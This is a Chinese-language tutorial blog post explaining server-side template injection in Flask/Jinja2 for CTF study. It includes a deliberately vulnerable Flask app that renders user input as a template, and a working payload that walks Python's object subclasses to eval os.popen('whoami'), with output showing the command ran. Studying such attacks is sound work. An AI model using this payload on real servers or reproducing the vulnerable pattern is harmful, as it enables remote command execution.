美文网首页
SSTI 简单总结

SSTI 简单总结

作者: thx_c619 | 来源:发表于2020-04-17 10:48 被阅读0次

    SSTI(Server-Side TemplateInjection)

    SSTI(Server-Side TemplateInjection)服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。此种类型漏洞虽然多次在CTF中,以Python语言为载体出现,但是这并不是Python模板引擎独有的漏洞。

    值得注意的是:
    凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言。

    以下内容,以Python的模板引擎Jinja2为例

    Jinja2

    Jinja2 是一个 Python 的功能齐全的模板引擎。它有完整的 unicode 支持,一个可选 的集成沙箱执行环境,被广泛使用,以 BSD 许可证授权。
    官方中文文档:http://docs.jinkan.org/docs/jinja2/

    官方文档中,以下两句便指出了可能出现的漏洞点:

    模板包含 变量表达式 ,这两者在模板求值的时候会被替换为值。

    #也就是以下两种写法
    
    {% ... %} # 控制结构
    {{ ... }} # 变量取值
    

    搭建测试环境

    from flask import Flask,request
    from jinja2 import Template
    import os
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'Tom')
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == '__main__':
        app.run(host='127.0.0.1',port='8888')
    

    启动服务器,并在浏览器中访问:http://127.0.0.1:8888/

    分析

    网上有很多payload,这里以一个常规的payload讲解。

    {%for c in [].__class__.__base__.__subclasses__()%}
        {% if c.__name__=='catch_warnings' %}
            {{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
        {%endif%}
    {%endfor%}
    

    __class__

    __class__是类的一个内置属性,也是每个类实例的,它是一个类的引用。

    >>> [].__class__
    <class 'list'>
    

    __base__

    __base__返回类的直接基类。在其他payload也有__bases__,__mro__,执行一下,可以看出其中的不同,但我们构造payload的目的是拿到<class 'object'>,为什么是<class 'object'>呢?

    >>> [].__class__.__mro__
    (<class 'list'>, <class 'object'>)
    >>> [].__class__.__base__
    <class 'object'>
    >>> [].__class__.__bases__
    (<class 'object'>,)
    

    __subclasses__

    每个类会保存由对其直接子类的弱引用组成的列表。 此方法将返回一个由仍然存在的所有此类引用组成的列表。通俗的讲,就是返回该类的子类列表。
    所以,当我们拿到<class 'object'>时,便可以获得object类的子类列表

    >>> [].__class__.__base__.__subclasses__()
    [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>,...]
    

    但是 payload为什么从object子类中找到catch_warnings类呢?

     {% if c.__name__=='catch_warnings' %}
    

    我们随便选择object两个子类来比较

    >>> [].__class__.__base__.__subclasses__()[22].__name__
    'complex'
    >>> [].__class__.__base__.__subclasses__()[22].__init__
    <slot wrapper '__init__' of 'object' objects>
    
    >>> [].__class__.__base__.__subclasses__()[130].__name__
    '_Printer'
    >>> [].__class__.__base__.__subclasses__()[130].__init__
    <function _Printer.__init__ at 0x0000020BFF695318>
    

    complex这个类使用"__init__"初始化时可以看到一个wrapper,而wrapper是指这些函数并没有被重载,这时他们并不是function,不具有"__globals__"属性。而"_Printer"则具有"__globals__"。

    >>> [].__class__.__base__.__subclasses__()[130].__init__.__globals__
    {'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000020BFF687EC8>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x0000020BFF687EC8>, origin='C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\_sitebuiltins.py'), '__file__': 'C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\_sitebuiltins.py', '__cached__': 'C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\__pycache__\\_sitebuiltins.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function
    compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>....
    

    在__globals__的属性__builtins__里面发现了很多函数,例如:dir、eval等等。所以要找catch_warnings这个类,因为这个类就是被重载过的。当然也可以不用catch_warnings这个类,也可以用其他的类,例如_Printer类,反正只要能找到可利用的函数即可。

    所以当我们执行下面这句代码时

      {{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
    

    便相当于得到一个shell

    >>> [].__class__.__base__.__subclasses__()[130].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
    'desktop-ha50nan\\wyj\n'
    

    回到测试环境上,输入payload


    payload

    也可以输入我们构造的那个payload

    payload

    注入漏洞检测工具

    自动检测和发掘服务器端模板的注入漏洞,支持很多模板引擎。
    https://github.com/epinna/tplmap

    需要注意:
    本次简单总结,只是为了更好的入门理解ssti,在实际情况下,不同环境下的python环境不同,需要根据实际情况来选择object的子类;在CTF中会设置WAF,所以需要对payload进行修改来绕过WAF。在实际情况和CTF中不一定是Python语言和Jinja2框架,可能会是其他的语言和模板框架。所以遇到ssti的难题,更多的是去查找对应语言一些用法来绕过WAF并构造payload。

    参考
    https://www.cnblogs.com/-chenxs/p/11971164.html
    https://drops.org.cn/Python/flask-jinja2-ssti.html
    https://www.anquanke.com/post/id/188172#h3-3
    https://www.ebounce.cn/web/19.html
    https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI

    文章中如果有什么不足,理解不对的地方还请师傅们指教。

    相关文章

      网友评论

          本文标题:SSTI 简单总结

          本文链接:https://www.haomeiwen.com/subject/uqbmphtx.html